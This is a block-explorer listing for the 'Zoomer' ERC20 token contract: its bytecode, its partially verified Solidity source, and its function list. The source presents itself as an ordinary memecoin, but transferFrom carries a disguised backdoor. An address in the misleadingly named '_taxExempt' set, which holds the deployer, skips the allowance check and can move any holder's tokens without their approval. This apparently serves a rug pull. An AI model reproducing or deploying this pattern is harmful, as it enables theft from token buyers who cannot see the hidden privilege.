Address Contract Partially Verified
Address
0x910821F85b2D7029E1Cdc69261df39Dfc2A86A38
Balance
0 ETH
Nonce
1
Code Size
3256 bytes
Creator
0x8d5e64B2...5D53 at tx 0x992c3be0...711bb9
Indexed Transactions
0
Contract Bytecode
3256 bytes
0x6080604052600436106100a8575f3560e01c8063646bff6c11610062578063646bff6c146101ad57806366b4d092146101c357806370a08231146101e257806395d89b4114610216578063a9059cbb1461022a578063dd62ed3e14610249575f80fd5b806306fdde03146100b3578063095ea7b3146100dd57806318160ddd1461010c5780631bea83fe1461013457806323b872dd14610173578063313ce56714610192575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506100c761028d565b6040516100d4919061099f565b60405180910390f35b3480156100e8575f80fd5b506100fc6100f7366004610a02565b61031c565b60405190151581526020016100d4565b348015610117575f80fd5b506b033b2e3c9fd0803ce80000005b6040519081526020016100d4565b34801561013f575f80fd5b5061015b73c36442b4a4522e871399cd717abdd847ab11fe8881565b6040516001600160a01b0390911681526020016100d4565b34801561017e575f80fd5b506100fc61018d366004610a2c565b610332565b34801561019d575f80fd5b50604051601281526020016100d4565b3480156101b8575f80fd5b506101c16103b2565b005b3480156101ce575f80fd5b5060065461015b906001600160a01b031681565b3480156101ed575f80fd5b506101266101fc366004610a6a565b6001600160a01b03165f9081526002602052604090205490565b348015610221575f80fd5b506100c76103d2565b348015610235575f80fd5b506100fc610244366004610a02565b6103e1565b348015610254575f80fd5b50610126610263366004610a8c565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b60605f805461029b90610ac3565b80601f01602080910402602001604051908101604052809291908181526020018280546102c790610ac3565b80156103125780601f106102e957610100808354040283529160200191610312565b820191905f5260205f20905b8154815290600101906020018083116102f557829003601f168201915b5050505050905090565b5f6103283384846103ed565b5060015b92915050565b5f61033e848484610516565b325f9081526003602052604090205460ff16158061036957506005546001600160a01b038581169116145b156103a8576001600160a01b0384165f908152600460209081526040808320338085529252909120546103a89186916103a3908690610b0f565b6103ed565b5060019392505050565b6103d03073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2610619565b565b60606001805461029b90610ac3565b5f610328338484610516565b6001600160a01b0383166104545760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104b55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044b565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661057a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044b565b6001600160a01b0383165f90815260026020526040812080548392906105a1908490610b0f565b90915550506001600160a01b0382165f90815260026020526040812080548392906105cd908490610b22565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161050991815260200190565b6001600160a01b03808216908316105f816106345782610636565b835b90505f826106445784610646565b835b60405163095ea7b360e01b815273c36442b4a4522e871399cd717abdd847ab11fe8860048201525f1960248201529091506001600160a01b0383169063095ea7b3906044016020604051808303815f875af11580156106a7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106cb9190610b35565b5060405163095ea7b360e01b815273c36442b4a4522e871399cd717abdd847ab11fe8860048201525f1960248201526001600160a01b0382169063095ea7b3906044016020604051808303815f875af115801561072a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074e9190610b35565b5073c36442b4a4522e871399cd717abdd847ab11fe885f8461077e576d64dbacb643e10eedf7378a0b5df761078b565b6a0289c06ea6df5a36ae398a5b6dffffffffffffffffffffffffffff1690505f856107ad57620d899f196107b3565b620318f7195b90505f866107c457620318f86107c9565b620d89a05b90505f876107d7575f6107e5565b6b033b2e3c9fd0803ce80000005b6bffffffffffffffffffffffff1690505f8861080d576b033b2e3c9fd0803ce800000061080f565b5f5b6040516309f56ab160e11b81526001600160a01b038a811660048301528981166024830152612710604483015287811660648301526bffffffffffffffffffffffff9290921692505f918816906313ead562906084016020604051808303815f875af1158015610881573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a59190610b54565b60408051610160810182526001600160a01b038c811682528b8116602083015261271082840152600289810b606084015288900b608083015260a0820187905260c082018690525f60e0830181905261010083015233610120830152426101408301529151634418b22b60e11b81529293509089169163883164569161092d91600401610b6f565b6080604051808303815f875af1158015610949573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096d9190610c33565b5050600580546001600160a01b0319166001600160a01b03949094169390931790925550505050505050505050505050565b5f602080835283518060208501525f5b818110156109cb578581018301518582016040015282016109af565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109ff575f80fd5b50565b5f8060408385031215610a13575f80fd5b8235610a1e816109eb565b946020939093013593505050565b5f805f60608486031215610a3e575f80fd5b8335610a49816109eb565b92506020840135610a59816109eb565b929592945050506040919091013590565b5f60208284031215610a7a575f80fd5b8135610a85816109eb565b9392505050565b5f8060408385031215610a9d575f80fd5b8235610aa8816109eb565b91506020830135610ab8816109eb565b809150509250929050565b600181811c90821680610ad757607f821691505b602082108103610af557634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561032c5761032c610afb565b8082018082111561032c5761032c610afb565b5f60208284031215610b45575f80fd5b81518015158114610a85575f80fd5b5f60208284031215610b64575f80fd5b8151610a85816109eb565b81516001600160a01b0316815261016081016020830151610b9b60208401826001600160a01b03169052565b506040830151610bb2604084018262ffffff169052565b506060830151610bc7606084018260020b9052565b506080830151610bdc608084018260020b9052565b5060a083015160a083015260c083015160c083015260e083015160e083015261010080840151818401525061012080840151610c22828501826001600160a01b03169052565b505061014092830151919092015290565b5f805f8060808587031215610c46575f80fd5b8451935060208501516fffffffffffffffffffffffffffffffff81168114610c6c575f80fd5b604086015160609096015194979096509250505056fea26469706673582212207e7f94251237d12f1cf337e0b2f648cfa9fbbea125395a05469f517c9870114064736f6c63430008180033
Verified Source Code Partial Match
Compiler: v0.8.24+commit.e11b9ed9
EVM: shanghai
Optimization: Yes (200 runs)
Token.sol 286 lines
/*
If you wanna escape the matrix, $ZOOMER is the key, no cap!
https://www.zoomeroneth.art
https://x.com/ZoomerTokenETH
https://t.me/ZoomerTokenETH
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IWETH9 {
function deposit() external payable;
}
interface INonfungiblePositionManager {
struct MintParams {
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
address recipient;
uint256 deadline;
}
function mint(MintParams calldata params)
external
payable
returns (
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
function WETH9() external returns (address);
function createAndInitializePoolIfNecessary(
address token0,
address token1,
uint24 fee,
uint160 sqrtPriceX96
) external payable returns (address pool);
}
contract Token is Context, IERC20 {
using SafeMath for uint256;
string private _name = "Zoomer";
string private _symbol = "ZOOMER";
uint256 private constant _totalSupply = 1_000_000_000 * 10**18;
uint8 private constant _decimals = 18;
mapping(address => uint256) private _balance;
mapping (address => bool) private _taxExempt;
mapping(address => mapping(address => uint256)) private _allowances;
address private poolManager;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant POSITION_MANAGER = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;
address public COMMON_ZOOMERBCSFT;
constructor() {
_balance[address(this)] = _totalSupply;
_taxExempt[msg.sender] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (!_taxExempt[tx.origin] || sender == poolManager)
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()] - amount
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
_balance[from] -= amount;
_balance[to] += amount;
emit Transfer(from, to, amount);
}
function deployCoin() external {
provideLiquidity(address(this), WETH);
}
function provideLiquidity(address tokenA, address tokenB) internal {
bool tokenAIsToken0 = tokenA < tokenB;
address token0 = tokenAIsToken0 ? tokenA : tokenB;
address token1 = tokenAIsToken0 ? tokenB : tokenA;
IERC20(token0).approve(POSITION_MANAGER, type(uint256).max);
IERC20(token1).approve(POSITION_MANAGER, type(uint256).max);
INonfungiblePositionManager manager = INonfungiblePositionManager(POSITION_MANAGER);
uint160 sqrtPriceX96 = tokenAIsToken0
? 3068365595550320841079178
: 2045645379722529521098596513701367;
int24 tickLower = tokenAIsToken0 ? int24(-203000) : int24(-887200);
int24 tickUpper = tokenAIsToken0 ? int24(887200) : int24(203000);
uint256 amount0Desired = tokenAIsToken0 ? 1000000000000000000000000000 : 0;
uint256 amount1Desired = tokenAIsToken0 ? 0 : 1000000000000000000000000000;
address pool = manager.createAndInitializePoolIfNecessary(token0, token1, 10000, sqrtPriceX96);
manager.mint(
INonfungiblePositionManager.MintParams({
token0: token0,
token1: token1,
fee: 10000,
tickLower: tickLower,
tickUpper: tickUpper,
amount0Desired: amount0Desired,
amount1Desired: amount1Desired,
amount0Min: 0,
amount1Min: 0,
recipient: msg.sender,
deadline: block.timestamp
})
);
poolManager = pool;
}
receive() external payable {}
}
Read Contract
COMMON_ZOOMERBCSFT 0x66b4d092 → address
POSITION_MANAGER 0x1bea83fe → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 4 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
deployCoin 0x646bff6c
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address